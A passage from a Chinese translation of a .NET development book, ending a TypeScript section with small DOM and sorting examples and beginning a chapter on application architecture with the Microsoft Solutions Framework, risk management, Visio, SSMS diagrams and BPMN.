让我们看一下整个示例。我们将定义一个包含硬件设备和它们价格及识别号的数组。目标是按名称对数组进行排序,并在一个页面上动态生成输出,显示排序数组中的名称和价格。

这是我们将要使用的代码:

interface Entity {
  name: string,
  price: number, 
  id : number
}

var hardware: Entity[] = [
  { name: "Mouse", price: 9.95, id: 3 },
  { name: "Keyboard", price: 27.95, id: 1 },
  { name: "Printer", price: 49.95, id: 2 },
  { name: "Hard Drive", price: 72.95, id: 4 },
];

function sortByName(a: Entity[]) {
  var result = a.slice(0);

  result.sort(function (x, y) {
    return x.name.localeCompare(y.name);
  });
  return result;
}
window.onload = () => {
  var sorted = sortByName(hardware);
  sorted.map((e) => {
    var elem = document.createElement("p");
    document.body.insertAdjacentElement("beforeEnd", elem);
    elem.innerText = e.name.toString() + " - " + e.price.toString();
  });
}

首先,Entity声明保证了编辑器可以识别类型为Entity[]的后续数组定义。在将一切组合在一起的时候,window.onload事件使用了一个不带参数的 lambda 表达式。

在这个表达式的主体中,从原始定义中生成一个排序后的数组,然后调用 JavaScript 5 中包含的新map方法,允许我们传递一个回调函数,该函数将对数组中的每个元素执行。

再次,我们使用 lambda 表达式来定义回调函数,其中 e 将依次代表数组的元素(entities)。即使在编辑 e 的属性时,我们也会拥有 Intellisense,以确保所有成员都拼写正确。

执行结果显示了按名称排序的元素列表,包括 nameprice 字段,正如我们所期望的:

更多 TypeScript 在行动

DOM 连接

我们之前提到的“DOM 连接”在许多情况下非常有帮助。想象一下,我们想要一个当鼠标指针移过窗口时显示鼠标 X 坐标的警告对话框。我们可以编写类似这样的程序:

window.onmousemove = function (e) {
  alert("Mouse moved at X coord: " + e.clientX);
};

如果我们将鼠标移到 e 参数(表示事件对象)上,我们还会看到一个包含事件定义的工具提示。如果我们写 e.(点)…,Intellisense 也会出现,并确切地知道可以使用该对象做什么。(参见图表):

DOM 连接

这额外的 Intellisense 从哪里来?我们有能力以与其他语言在 Visual Studio 中相同的方式检查此功能。只需标记 onmousemovee 对象,然后在上下文菜单中选择转到定义查看定义

IDE 打开一个指向从名为 Lib.d.ts 的文件中提取的定义的新窗口,并显示所有细节。如前所述,此文件是整个 DOM 和所有 JavaScript 的标准运行时库的声明文件(包含大约 8,000 行代码声明)。

此外,任何人都可以编写这些声明文件并将它们上传到 DefinitelyTyped 网站,因为它是完全开源的:

DOM 连接

因此,让我们总结一下到目前为止讨论的一些最重要的要点:

  • 我们依赖于对 JavaScript 类型的正式化,这允许出色的编辑工具

  • 我们从一开始就发现了类型推断和结构化类型

  • 所有这些都使用现有的 JavaScript,无需修改

  • 一旦代码编译完成,所有内容都会消失,生成的代码只是你选择的版本的纯 JavaScript

摘要

在本章中,我们介绍了一些微软作为其开源生态系统一部分推广的最重要项目。

首先,我们回顾了“开源”项目自初始运动以来的演变,并对开源倡议下的一些新工具和技术进行了修订,包括如何在 Visual Studio 中使用 Node.js 进行编程。

然后,我们转向 Roslyn 工具和服务集,探讨了如何安装工具、识别语法对象模型,以及如何使用代码重构功能编写基本分析器,并了解如何调试它。

最后,我们游览了 TypeScript 的主要语言特性,研究了语言中最有意义和恰当的定义,并检查了由于它的静态类型系统,我们在代码编辑器中获得的出色支持。

在下一章中,我们将探讨软件架构的概念,从高级抽象概念到低级实现。我将概述一个从头开始设计.NET 应用程序的逐步指南。

第九章。架构

本章和下一章致力于不同的应用程序开发视角。在第十章 设计模式 中,我们将涵盖设计模式、最佳实践以及理论家关于它们的提供解决方案。然而,在本章中,我们的目标是应用程序本身的架构及其构建可用的工具。

在本章中,首先,我们将推荐一个非常有用的指南,帮助您根据您必须构建的应用程序选择要使用的模型;然后,我们将继续按照微软解决方案框架及其治理模型推荐的过程本身。还应通过创建威胁模型来考虑安全规划和设计,解决安全场景。

为了充分构建应用程序生命周期所需的不同可交付成果,我们将使用 Visio,并检查这个工具如何成为应用程序架构团队的完美补充,提供各种模板以帮助这个过程。

然后,在开发、测试和部署领域,我们将深入研究 Visual Studio Enterprise,学习如何逆向工程代码、生成代码地图和图表,以及它对 UML 的支持。

最后,我们将涵盖一些与最终部署阶段相关的方面,以及当前工具提供的不同解决方案。

总的来说,在本章中,我们将讨论以下主题:

  • 架构的选择

  • Visio 的作用

  • 数据库设计

  • Visual Studio 架构、测试和分析工具

架构的选择

当一个新应用程序被规划时出现的第一个问题与模型的选择以及将更好地满足我们需求和要求的工具和工件有很大关系。

微软于 2013 年发布了.NET 技术指南:商业应用程序,由 Cesar de la Torre 和 David Carmona(均为微软/雷德蒙德的高级项目经理)撰写,旨在为其客户提供在选择应用程序模型时需要考虑的原则和限制的视角。您可以在blogs.msdn.microsoft.com/microsoft_press/2013/11/13/free-ebook-net-technology-guide-for-business-applications/免费下载。

总结来说,该指南全面介绍了开发者可能遇到的所有不同场景,并详细说明了在决定哪些工具和技术适合您的业务问题之前应考虑的利弊。

微软平台

一旦做出选择,您就可以深入研究应用程序生命周期管理ALM)。那么,通往幸福结局的道路是什么?考虑到即使今天,一些反映在统计数据中的事实似乎令人恐惧:

考虑到这些事实,我们需要探索如何在有信心的情况下,在最初预见的范围内和时间内正确管理一个新的项目。

通用平台

一方面,我们依赖一套完整的工具和技术(我们所说的开发平台),这允许任何开发者为任何类型的模型、平台或技术构建应用程序。

由于现在围绕通用 Windows 平台和.NET Core 的新选项,这个通用报价现在比在指南的出版时更加清晰(我们已经在本书中提到,将在最后一章中更详细地了解)。

此外,ASP.NET Core 以及与 Node.js、Apache Cordova、Azure 中的 Linux 支持、Linux 中的 SQL Server 支持、Mac OS 中的 Office 以及最近的 Visual Studio for Mac 相关的其他倡议,为开发者提供了广阔的机遇全景,这些机遇超越了 Windows 及其相关技术。

下一个图表是由微软正式发布并由几位传教士详细审查的,显示了微软开发生态系统范围的持续增长:

通用平台

在这本书中,我们看到了.NET 自始至终都在不断进化,现在,无论要开发的应用程序类型是什么,或者我们是在为服务器还是客户端编码,它都提供了最先进的开发体验:

  • 在服务器端,你可以用 C#编写云服务或本地服务,或者你可以像我们在上一章中看到的那样使用 Node.js 作为后端。服务器位置也是独立的,因为你服务器上安装和部署的任何东西都可以在 Azure 上安装和部署。

  • 此外,随着新的 ASP.NET CORE 版本,你可以以两种方式部署你的应用程序:使用Microsoft.AspNetCore.Server.WebListener(仅限 Windows)或使用Microsoft.AspNetCore.Server.Kestrel,它是跨平台的,可以在任何主机上运行。

  • 在客户端,你可以使用 Windows Forms、Windows Presentation Foundation,甚至 HTML5 + CSS3 + JavaScript 为基于浏览器的解决方案构建桌面应用程序,无论是在微软设备内部还是外部。

  • 第二种选择现在得到了 Visual Studio 对 Apache/Cordova 和/或 Xamarin 作为移动解决方案的出色支持,这些解决方案可以在任何地方运行。

当然,这只是对现在平台中大量可能性的粗略看法,这些可能性还在不断增长。

MSF 应用模型

微软解决方案框架,如维基百科所定义:

“微软解决方案框架(MSF)是一套原则、模型、学科、概念和指南,用于交付微软的信息技术解决方案。MSF 不仅限于开发应用程序,也适用于其他 IT 项目,如部署、网络或基础设施项目。MSF 不强迫开发者使用特定的方法论(瀑布、敏捷),而是让他们决定使用哪种方法论。”

因此,MSF 位于任何方法论之上,并推荐在 ALM 的所有阶段应该做什么。自其创建以来,已经经历了四个版本,第四个版本是最新的修订版。

MSF 定义的两个模型如下:

  • 团队模型,它涉及组成项目开发和管理的个人,以及他们的责任和操作

  • 治理模型,之前称为流程模型,描述了在构建项目时需要经历的不同阶段,这包括根据使用的版本,从第一步到最后实施和部署(甚至更远)的五个或六个阶段。

它还定义了三个学科或要执行的任务集,并指导如何与项目的完成相关联。这些学科是项目管理、风险管理以及就绪管理。官方微软关于 ALM 的文档提供了这些概念的清晰架构:

MSF 应用模型

让我们回顾这些模型最重要的关键点以及它们如何解释和提出在 ALM 中沿用的明确程序和实践。

团队模型

团队模型基于一个架构,该架构定义了你可以分配给开发团队的不同角色。

微软提出了一种新的团队模型,与经典的层次模型相反,以避免其典型的缺点,这些缺点可以总结为几个方面:通信开销、非直接接触导致的误解、团队角色和责任不明确、成员疏离以及流程开销。

MSF 进而提出,团队模型应由一个同侪团队组成,其成员彼此平等相待,并清楚地知道每个成员的责任以及哪些决策是基于共识的。

团队模型赋予所有成员在项目最终成功中的同等重要角色。以这种方式,许多在其他项目管理解决方案中常见的模糊责任和含糊定义都得到了适当的解决。

在下一张图中,您可以看到官方微软 MSF 课程作者和传道者如何围绕“同伴团队”的概念组织这些角色:

团队模型

正如您在官方架构中可以看到的,共有七个角色——所有角色都被声明为具有同等重要性。请注意,然而,对于小型团队,同一个人可能扮演多个角色。

总结来说,每个角色的主要职责如下:

  • 产品管理:作为与客户的联系,保证其满意度,并作为项目管理角色的客户声音。

    该角色的功能领域包括:

    • 市场营销/企业沟通

    • 业务分析

    • 产品规划

  • 项目管理:负责管理项目的限制,并作为产品管理角色的团队声音。

    总体而言,功能领域应该是:

    • 项目管理

    • 项目管理

    • 资源管理

    • 流程保证

    • 项目质量管理

    • 项目运营

  • 架构:目标是按照业务目标设计解决方案,同时不忘项目的限制(预算、时间表等)。

    该角色的功能领域主要是这两个:

    • 解决方案架构

    • 技术架构

  • 开发:生成代码,同意项目规范、风格指示、时间表里程碑等。

    在这种情况下,功能领域如下:

    • 解决方案开发

    • 技术咨询

  • 测试:这是在所有问题都得到正确解决时负责测试。

    通常,测试的四个方面被认为是关键的(在不同场景中):

    • 回归测试

    • 功能测试

    • 可用性测试

    • 系统测试

  • 用户体验:这被视为另一种测试形式,应该改善用户体验和性能。

    这里,目标更接近用户交互:

    • 可访问性

    • 国际化

    • 技术支持沟通

    • 培训

    • 可用性

    • 用户界面设计

  • 发布操作:所有操作都需要满意的安装,并向团队提供有关未来发布的提示。

    在这个最终阶段,功能任务主要包括以下内容:

    • 可访问性

    • 国际化

    • 技术支持沟通

    • 培训

    • 可用性

    • 用户界面设计

然而,团队模型的建立方式使得某些角色不兼容。这取决于角色所承担的责任类型,因为其中一些被认为在本质上是对立的。以下图表以表格形式展示了这种情况:

团队模型

例如,项目管理就是这种情况,因为你所进行的关系类型本质上与产品管理(主要负责团队)不兼容。所有角色中最不可调和的是开发者,基本上与任何其他角色都不兼容。

治理模型

简而言之,MSF 的作者将项目管理定义为一系列工具、指南和技术,这些工具、指南和技术提供了足够的监督、流程指导和严谨性,以有效地使用项目资源并交付解决方案。所有这些都在处理权衡资助决策和平衡对一系列可能变化的项目的约束的遵守中发生。

它涉及构建应用程序的过程,并且根据所使用的模型传统上分为五个或六个阶段。在最新版本(4.0)中,Microsoft 文档中提出的方案如下:

治理模型

正如你所见,有五个阶段被考虑:愿景规划构建稳定部署。从一个阶段过渡到另一个阶段发生在你达到一个里程碑时,这个里程碑假定存在一套由团队所有成员批准的可交付成果。

这些步骤的主要目标如下:

  • 愿景:在这里,目标是明确了解在项目约束的背景下需要什么(最初提到的指南在这里也可能很有帮助)。此外,文档还指出,它假设要组建必要的团队,以选择最佳选项和方法来设想解决方案,同时最优地满足约束。

  • 规划:前一个阶段有点像是概念性的。这个阶段是将之前的思想具体化为可操作的解决方案:在所选的 RDBMS(关系数据库管理系统)中设计和实施数据库结构,定义用户界面及其与最终用户的交互,定义源代码管理工具的正确配置(Team Foundation Server 是 Microsoft 开发环境的首选选择),等等:

    • 在这个阶段,应明确确定一些安全方面的内容,特别是那些可能意味着资产损失、私人信息泄露(非故意披露)、可能的拒绝服务(DoS)攻击等。
  • 构建:大多数人将这仅仅与编码联系起来,但它实际上要更进一步。它还应考虑良好的实践、风格指南以及许多其他编码实践:

  • 稳定化:该模型强调的不仅仅是消除错误。有时问题在于应用程序 UI 的使用,请求后访问某些数据所需的时间,或者确保没有与给定过程相关的副作用:

    • 此外,用户的观点也非常重要,某些技术很有用,例如单元测试或行为驱动测试,这些测试从开始到结束模拟用例。

    • 当然,安全也是这里的一个重要方面。如果威胁模型设计得当,行为驱动测试应包括所有评估和解决的安全方面。

  • 部署:这是关于成功地将解决方案集成到生产中,并将剩余的管理转移到为此目的指定的支持团队。这是最终阶段,但很多时候,其结束只是与第二个版本(或更新、或发布,您叫它什么…)的开始相连接。

    小贴士

    仅就部署阶段而言,微软后来创建了 Microsoft Operations Framework 提案,该提案涵盖了部署的各个方面,特别是对于具有一定规模和复杂性的应用程序(甚至包括整个操作系统)。

    这些复杂案例本身被视为另一个项目,包括所有阶段和考虑因素。在 MOF 的后续版本中,考虑了任何 IT 操作的整个覆盖范围,以及我们之前提到的所有场景:本地、云中、混合等。

    您可以在其专门的网站上找到有关此主题的完整文档:msdn.microsoft.com/en-us/library/cc506049.aspx

风险模型

风险模型解释了如何在前述所有阶段处理安全,以及如何从应用程序生命周期的开始就考虑安全。一些理论家更喜欢将其包含在过程模型本身中,正如我们在本章开头的图中看到的。

我们将在第十一章中更深入地介绍安全,安全(基于 OAuth 2.0 标准),因此在这里深入讨论这些技术不是目标,但我希望回顾基于风险模型的原则。

MSF 风险管理学科在风险和问题(或已知或已知的问题)之间做出区分。因此,它定义了一种风险管理类型,主动识别、分析和解决风险,以提高成功的概率。

策略是预测而不是反应问题,因此团队应在问题发生之前准备问题解决方案,以便能够主动直接地应对根本原因,而不仅仅是症状。

官方文档以以下图形概述了风险管理:

风险模型

如您所见,第一步是识别和陈述一个既定的风险。这随后是对要解决的问题进行分析和优先级排序,这伴随着缓解计划和日程。

注意

在规划阶段,将应用程序的不同领域分配给不同的团队成员,每个成员承担与其相关的可能风险的职责。

风险评估

MSF 文档还根据此表对风险进行了分类,该表列出了四种类型风险的可能来源:

风险分类 风险来源
人员 客户、最终用户、利益相关者、人员、组织、技能和政治
流程 任务和目标、决策、项目特性、预算、成本、时间表、需求、设计、构建和测试
技术 安全、开发与测试环境、工具、部署、支持、操作环境以及可用性
环境 法律、法规、竞争、经济、技术以及商业

风险评估

评估风险的建议程序是发布一个可维护和可访问的列表,其中每个风险都使用两个因素进行评估:影响和概率,第一个因素是团队预先设定的值(比如说从 1 到 100,100 表示最坏的情况)。

第二个因素(概率)通常使用与该测量相关的数学概念来衡量(即,介于 0 和 1 之间的值,0 表示不可能,1 表示绝对确定)。

之后,这两个因素相乘并按降序排列,因此最危险的风险出现在顶部,团队可以在决定采取行动时确定其优先级。

风险行动计划

可以将不同的任务分配给风险管理,以便在这些问题被检测和分类后更好地应对潜在问题:

  • 研究:这是在采取任何行动之前寻找更多关于风险信息的流程

  • 接受:这意味着如果风险发生,可以接受其后果

  • 避免:如果我们改变项目的范围,风险也会避免吗?

  • 转移:在某些情况下,可以将风险转移到其他项目、团队、组织或个人

  • 缓解:团队可以做什么来减少前面提到的两个因素中的任何一个(概率或影响)?

  • 应急计划:团队应评估如果风险成为现实,计划中的策略是否会有帮助

考虑到所有这些考虑因素,团队将收集和设计一套与风险模型相关的可能活动。一旦完成,MSF 文档将提出的行动分为两个主要领域,它们将它们分类为主动和反应。

主动式方法意味着缓解,也就是说,在风险发生之前采取行动,以防止风险完全发生,或者——如果风险不可避免——将其影响降低到可接受的水平。

在另一种情况下,我们必须管理行动以减少真实问题(风险变成了现实),因此,提前分析可能的问题并——让我们面对现实——将自己置于最坏的情况,想象所有可行的解决方案是至关重要的。团队还应定义一个触发器,如果发生,应启动应急计划。

注意,这些触发器(与它们相关的风险相同)不仅与代码有关,还与许多其他因素有关。MSF 文档引用了一些:团队成员的辞职、超出可接受限制的 bug 数量,或者完成里程碑有显著延迟;这些只是常见的一些情况。

总结来说,MSF 评估这些规则,指出风险管理应该是:

  • 全面性:它应该涵盖项目中的所有要素(不仅仅是技术要素,还包括人员和流程)

  • 系统性:它应该包含一个可重复的项目风险管理流程

  • 持续性:它应该在项目生命周期的整个过程中发生,而不仅仅是前两个阶段

  • 主动式:它应该寻求避免或最小化风险发生的影响

  • 灵活性:它应该能够适应广泛的风险评估方法

  • 面向未来:它应该致力于个人和企业级的学习,并得到一个知识库的支持,该知识库为未来的努力服务

CASE 工具

正如我们所看到的,MSF 并不强迫你使用任何特定的工具,因为它只关乎遵循良好实践、程序和协议,以便实现预期的目标,所有这些都在按时和项目预算内完成(这几乎是一个梦想,不是吗?)。

然而,确实有一些工具可以帮助你构建这些可交付成果。这包括不仅限于源代码,还包括所有报告、图形方案以及其他定义和阐明硬件和软件结构以及期望行为的文档,这些文档在 ALM 和在生产中都是必要的。这是超出编码阶段的事情,因为每个里程碑都需要自己的文档。

CASE计算机辅助软件工程)工具是为此目的而命名的工具集。如果我们谈论微软,这些 CASE 工具今天相当多。

当然,源代码与不同版本的 Visual Studio 保持一致(也与我们看到的 Express 版本和 Visual Studio Code 一致)。

此外,Visual Studio 与 Visual Studio Team ServicesVSTS)无缝集成,公司将其定义为允许软件团队共享代码、管理项目进展和问题以及以任何语言(是的,任何语言,包括 Java)交付软件的一套服务——所有这些都在一个包中。更进一步,Visual Studio Code 和最新的 Visual Studio 2017 可以直接与 Github 一起工作,作为协作编码的另一种选择。

实际上,之前被称为 Visual Studio On-line 的现在已成为 VSTS 的一部分,允许你在线编码、执行和保存开发项目,包括源代码控制、版本控制等。它以不同的形式呈现,非常适合在本地或云端(并且不排除 Git 或其他类型的代码和不同语言的存储库:C#、Java、JavaScript 等)进行源代码控制和其它编码服务。

此外,你可以独立于你选择的构建模型使用它们:MSF Agile、MSF for CMMI能力成熟度模型集成),或任何其他模型。接下来的图示显示了 VSTS 中可用的主要功能架构:

CASE 工具

显然,还有许多其他任务也需要适当的工具和管理(实际上,有很多),但具体来说,当程序员处理开发周期的前两个阶段时,Microsoft Visio(现在是 2016 版本),可能是一个非常有用的工具。

Visio 的作用

虽然它被认为是 Microsoft Office 套件的一部分,但实际上它是单独提供的,现在它是 Office 365(在线)的一部分。正如公司所说,Visio 的座右铭是“复杂化简单化”,它让你能够构建各种图表,这些图表甚至可以动态更新(随着原始数据的变化),覆盖数百种可能的图表场景。

你还可以将其与 Microsoft Project 和其他相关工具结合使用,它导入和整合外部信息的能力使其成为从其他来源集成数据并将其转换为有用图表的完美解决方案:

Visio 的作用

一个初步的例子

让我们假设我们已经有了团队模型中参与者的名单。我们已经与他们讨论了每个成员的胜任角色,并将这些信息记录在 Excel 表格中,表格中包含了团队每个成员的姓名、角色和照片。六个角色中的每一个都分配给了不同的人,正如团队模型中定义的那样。

我们可以创建一个组织结构图来表达这个初步声明,打开 Visio 并从提供的模板中选择 组织结构图。我们甚至有一个助手来引导我们完成这个过程,如果我们愿意的话。

然后,我们有一个选项菜单,数据/快速导入,它恢复我们需要的用于为每个形状提供相应信息的所需数据。如果你在创建 Excel 数据时小心谨慎,这可以自动完成,或者你可以手动完成,因为将打开一个新的面板,显示 Excel 表格中的信息(参见图表):

第一个示例

在此过程中,无论你是自动还是手动操作,你都可以选择更改数据、重新分配任何形状或从本地或远程位置加载图像以完成团队模型架构。

最终的形状应该与以下图示中的形状类似,包括所有分配的角色、名称和图片:

第一个示例

你现在可以将形状保存为多种不同的格式或与项目之前安装的任何协作资源共享(不仅仅是 TFS)。

如果之前的 Excel 表格位于可访问的位置(之前已告知助手),任何更改都可以进行检查。例如,为了对角色进行修改或添加新的兴趣字段,你可以在 Excel 表格中进行更改,一旦再次打开,这些更改就会立即反映在形状上。

我们还有模板来定义任何硬件架构、网络设计或任何其他硬件或软件架构,这些架构以图形方式概述了应用程序的结构。

例如,让我们考虑一个简单的网络应用程序(ASP.NET MVC),它访问数据库并为用户提供不同的设备(和形式因素),同时具备列出几个表的内容并通过 CRUD 操作修改它们的能力,我们将指导 Visual Studio 为我们生成这些操作。以下图示可以使用多浏览器客户端表达此场景:

第一个示例

上述设计是从网络和外设模板开始的,没有导入特殊数据,只是使用工作站、笔记本电脑、平板电脑和智能手机以及 Visio 的连接器功能对应的形状。

你可以通过拖放连接器的两侧从充当初始连接(发射器)的形状的中心到目标(接收器)的中心来连接每个形状。此外,请注意,你可以为任何形状添加所需数量的描述字段,以指定,例如,网络标识符、IP、硬件特性、用户、角色、权限等等。

数据库设计

关于数据库设计,我们不需要使用 Visio。一方面,与 Visio 中数据库反向工程相关的部分功能自产品 2013 版本以来已被弃用。另一方面,Microsoft 将这部分功能的大部分移至 Visual Studio 本身,正如我们在第六章 SQL 数据库编程中提到的,当审查 IDE 的数据访问功能时。

实际上,我们甚至可以使用 SQL Server Management StudioSSMS)通过使用工具的数据库图功能来生成我们所需的数据的图形架构。

我们应该确保数据库有一个有效的所有者链接到有效的登录。如果您没有为要使用的数据库分配一个,您可以在 对象资源管理器 中列出的每个数据库的 属性 对话框中分配它。在 文件 页面中,您应选择一个有效的所有者。下一个图形显示了此过程:

数据库设计

SSMS 可能还会询问您是否要安装管理图创建所需的对象,一旦接受,您将能够生成一个新的架构。

默认情况下,编辑器中将有一个空白架构,我们可以选择在过程中隐含的表。我在选择几个表(SalesPersonSalesTerritory)以在架构中展示它们之间的关系,并展示一些其他功能。

生成的架构应类似于以下屏幕截图所示。请注意,编辑器表面在上下文菜单中提供了几个选项,您可以在其中添加注释、其他表(尚未选择)、查看表之间关系的详细信息等:

数据库设计

注意,编辑器会自动识别所有表的关系(在这个演示中,名为 FK_SalesPerson_SalesTerritory_TerritoryId 的外键关系以及任何选定对象的配置细节,如通常一样,在 属性 窗口中展示)。

您可能需要刷新对象资源管理器,以便 SSMS 在您保存后识别新的图。如果您对图进行了任何修改,这些修改意味着数据库结构的更改,则在保存之前将使用 属性 窗口中出现的值来检查新配置。如果任何更改与当前限制不兼容,则无法保存图。

在 Visual Studio 中创建演示应用程序

之后,我们将创建一个新的 ASP.NET MVC 应用程序,以便使用这两个表并从网页访问它们的数据。在创建时,当我们使用 Entity Framework 以我们在 第六章 中看到的方式添加新的 ORM 模型时,我们将得到一个类似的图(不是完全相同,但基本上包含相同的信息)。我们在这里不显示它,因为它与前面的输出没有有意义的关系。

然而,在这个新的 Visual Studio 内部图中,您将能够访问与 IDE 生成的代码相关的其他信息,以便方便程序员访问数据库并使用 Entity Framework 库。

这种信息,从 IDE 的 属性 窗口中可见,可能会显示与我们为我们的图选择的对象相关的有趣和具体数据。这包括用于代码生成的模板、代码生成策略、实体容器的名称以及几个布尔值(大多数可以更改),表示此类代码的所有方面。请参考以下截图:

在 Visual Studio 中创建演示应用程序

由于我们的目标不是代码本身,而是创建过程以及您在遵循 MSF 时可能生成的可交付成果,我将指示 Visual Studio 为这两个表生成完整的 CRUD 操作集的所有脚手架。然后,生成的代码将用于从 Visio 反向工程生成的网站并创建其他有用的模式。

因此,我将按照 第六章 中所述进行操作,SQL 数据库编程,并要求 IDE 为这里选择的每个表从 添加控制器 选项生成所有这些功能。检查生成的文件并测试基本功能是一个好习惯。

在这一点上,我对代码的唯一实际更改将是向主页(记住 _Layout.cshtml 文件)添加两个新链接,以便可以直接从着陆页访问这些新选项。

我还对模板默认显示的信息做了一些修改,只是为了反映这个演示提供的基本信息,而不是模板本身的信息。然而,唯一的操作更改将包括添加几个链接,以便可以从主页访问 CRUD 操作。

因此,我将使用两个 ListItemsActionLink 辅助器来生成主菜单中的新条目,并检查它们是否正常工作,链接到每个生成的控制器中的 Index 动作方法。

如同往常,这些列表显示了每个表的完整记录列表,并且其他链接会自动生成(每个单独记录的 编辑详情删除,以及顶部创建新记录的选项)。在这个情况下,代码相当简单:

<li>@Html.ActionLink("Sales Person Info", "Index", "SalesPersons")</li>
<li>@Html.ActionLink("Sales Territory Info", "Index", "SalesTerritories")</li>

在检查了前面的功能之后,我们将在此时刻结束项目(参考以下截图):

在 Visual Studio 中创建演示应用程序

网站设计

设计阶段还有更多内容,可以使用 Visio 资源和工具来解决。现在,我们有一个可以测试 Visio 在逆向工程网站时的一些功能的网站。

Visio 提供了两种不同的网页模板:概念网站网站地图,您在搜索可用模板时将会发现。

第一个是一些开发者在编写任何其他代码操作之前喜欢创建的架构类型。也就是说,它允许您定义网站的独特组件,并帮助您配置每个组件,定义其形状和字段:

网站设计

然而,网站地图可以从零开始创建,或者可以逆向工程,指导 Visio 从已存在的网站上读取文件信息。实际上,如果您从这个模板开始创建新的图表,您将有机会从现有网站上读取信息。

由于涉及许多因素,因此在底部有一个设置…按钮,让您调整 Visio 尝试读取信息的方式。对于这个演示,由于我们没有将我们的网站发布到任何真正的托管服务,我们可以使用localhost:port配置来配置 Visio,以确定查找信息的位置。

另一个重要的技巧是,您应该将层级数量减少到两个(通常)。最后,我们可以添加 Razor 引擎的扩展,以便这些文件被正确识别和分析。

正如您将看到的,还有许多其他方面可供选择:通信协议的选择、列表中出现的资源类型、构建图形树的布局类型等等:

网站设计

几秒钟后,您将看到一个包含网站上所有选定资源的新的图表。

这个最终的架构将按照与网站相同的方式组织,即层次结构,从初始 URL 开始,向下通过所有层级,正如前一个配置中所示(在某些情况下,请注意此值,否则可能需要一段时间才能完成检查所有可能的链接)。

另一个有用的配置是指(查看图示)要分析的超链接数量。对于这个演示,300 个已经足够了,但根据网站的不同,您可能会错过其中的一些(尤其是那些位于最深层级的)。

此外,一旦创建了树,您就可以调整该树的不同的视图,并在 Visio 默认提供的几个工具的帮助下进行进一步的研究:过滤器窗口列表窗口。这两个窗口都折叠在编辑表面旁边,由该过程产生。

另一个需要注意的方面是图表的大小。你可以将其做得尽可能大,但默认情况下,图表会适应可用空间(无论网站有多大),因此你可能会发现生成的图形相当缩小(当然,缩放工具会让你以你喜欢的任何方式查看)。

总体而言,结果应该看起来与下一张捕获中显示的内容相似(尽管我已经改变了大小并润色了一些条目以使其更明显):

网站设计

当你深入查看图像时,所有细节都会显示出来,并且有一些方面需要注意。例如,在涉及SalesPersonsSalesTerritories控制器区域,你会找到与Index动作方法返回时注册数量一样多的链接。

这意味着对于非常长的列表,图形的数量可能会难以管理。这就是为什么默认情况下限制链接数量为 300 的原因。

在这样一个复杂的架构中,如果直接从形状进行操作,单个元素的位置可能会很具挑战性。这就是列表窗口派上用场的地方:

网站设计

你只需在列表中定位任何项目,然后双击它;图形将定位并移动到该元素,显示其详细信息。

一旦项目展开,就会有一系列可用的选项供你使用。你会发现另一个可折叠窗口(形状数据),它显示了与所选元素(通常停靠在编辑表面的右上角)关联的所有字段。

你也可以展开相应的链接,以查看在视图呈现时哪些元素将是活动的。

更好的是,你还有一个上下文菜单,其中包括交互式超链接选择选项。如果你点击链接,将打开一个新窗口,显示在运行时你会看到的实际页面。参考对应于SalesTerritories/Edit/9 URL 的屏幕截图:

网站设计

这个功能的最大优点是窗口不是一个只读的、仅查看的快照,而是允许你真正更改信息,并且将像实际页面在执行时一样操作。

例如,如果你尝试更改一些数据,字段中存在一些不兼容的信息,表单将不会发送,并且会显示错误消息,指示问题,正如你在以下捕获中可以看到的,其中在字段期望数字的地方引入了一个字符串:

网站设计

此外,我们还有过滤器窗口提供的选项,允许激活/停用链接和脚本,以减少图表中显示的元素数量:

网站设计

总体而言,我们依赖的是广泛的可能性,这些可能性仅从初始图表开始。

报告

在所有这些可能性中,我们可以收集大量可交付成果来伴随我们的项目文档,但 Visio 还提供了一些额外的功能来增强我们的文档。

其中一个选项是生成多种格式的报告(Excel、MS Access、Visio 图形等),从当前正在编辑的形状开始。

由于这些报告也可以链接,因此您可以在项目发生变化时刷新信息。要创建新的报告,我们只需将鼠标移动到 Visio 主菜单中的网站地图选项卡并选择创建报告

我们可以选择整个报告,包括在地图中选定的所有元素(Visio 所称的库存),或者我们可以创建部分报告,以处理不同的方面,例如仅生成链接报告,甚至在网站地图选项卡中使用带有错误的链接选项生成损坏的链接报告。

在任何情况下,我们都会得到一个最终格式来保存信息,这可以是一个 Excel 表格、一个 Visio 形状、一个 HTML 页面或一个 XML 文件。如果我们选择 HTML 文件,它们可以轻松发布到企业 Office 365、项目专用的 SharePoint 网站或任何对我们团队方便的网站。

以下截图显示了以这种方式生成的网页,包括在我们网站上发现的全部链接。展示了一个基本表格,尽管您可以调整生成器的所有方面,包括要排除的错误类型等:

报告

许多其他选项

如果您不习惯使用 Visio,您会注意到许多其他可能性来直观地表达项目生命周期的不同方面。其中许多自早期版本以来就存在,但公司以有意义的方式增强了选项和功能的数量。

例如,自从最初版本以来,Visio 就具有创建和更新日历和时间图表的能力,以便管理日程安排和进度表,例如 PERT 和甘特图。

例如,甘特图让您能够控制项目管理、任务管理、日程安排、进度表、目标设置,以及一般而言,项目的生命周期。有多种模板可供选择:带有日历的子任务、简单的任务瀑布图等。以下截图显示了这些模板的起始外观:

许多其他选项

当然,您还可以配置日历,在其中可以插入每个日期的所有类型的数据,以便以更详细的方式扩展控制。

BPMN 2.0 (业务流程模型和符号)

在业务流程方面,我们发现了几种解决方案(流程图、组织结构图等),但值得注意的是,Visio 现在也提供了对业务标准的支持。

标准的 BPMN 2.0 完全受支持,并提供多个模板来表示流程中的参与者:

  • BPMN 图表(从头开始)

  • 包含网关的 BPMN 流程(对于包含两个结果的网关流程)

  • 多角色 BPMN 流程(适用于存在多个主要参与者的案例)

  • BPMN 地址变更流程,当流程参与者包含多个角色或功能时,该工具推荐使用

    注意

    标准的主要声明定义了 BPMN,指出一个标准的业务流程模型和符号(BPMN)将使企业能够以图形符号理解其内部业务流程,并将使组织能够以标准方式传达这些流程

有趣的是,这些图形建议补充了其他经典方案,特别是某些 UML 图(如活动图或序列图),有助于更详细地阐明某些业务流程。

默认的 BPMN 地址变更流程模板是这一点的完美示例(参见图表):

BPMN 2.0(业务流程模型和符号)

让我们来看看这个过程意味着什么:客户更改地址并通知银行。由于帮助台将此新信息传递给处理中心,而处理中心反过来向帮助台发送确认,然后帮助台将更改确认发送给客户(银行的任务在这里结束)。这也可以使用 UML 序列图来表示(甚至可以使用用例图,因为它暗示了三个参与者)。

因此,一个基本的 UML 图可以表达初始场景,我们可以使用更详细的 BPMN 图来更精确地描述任务步骤和完成情况。

UML 标准支持

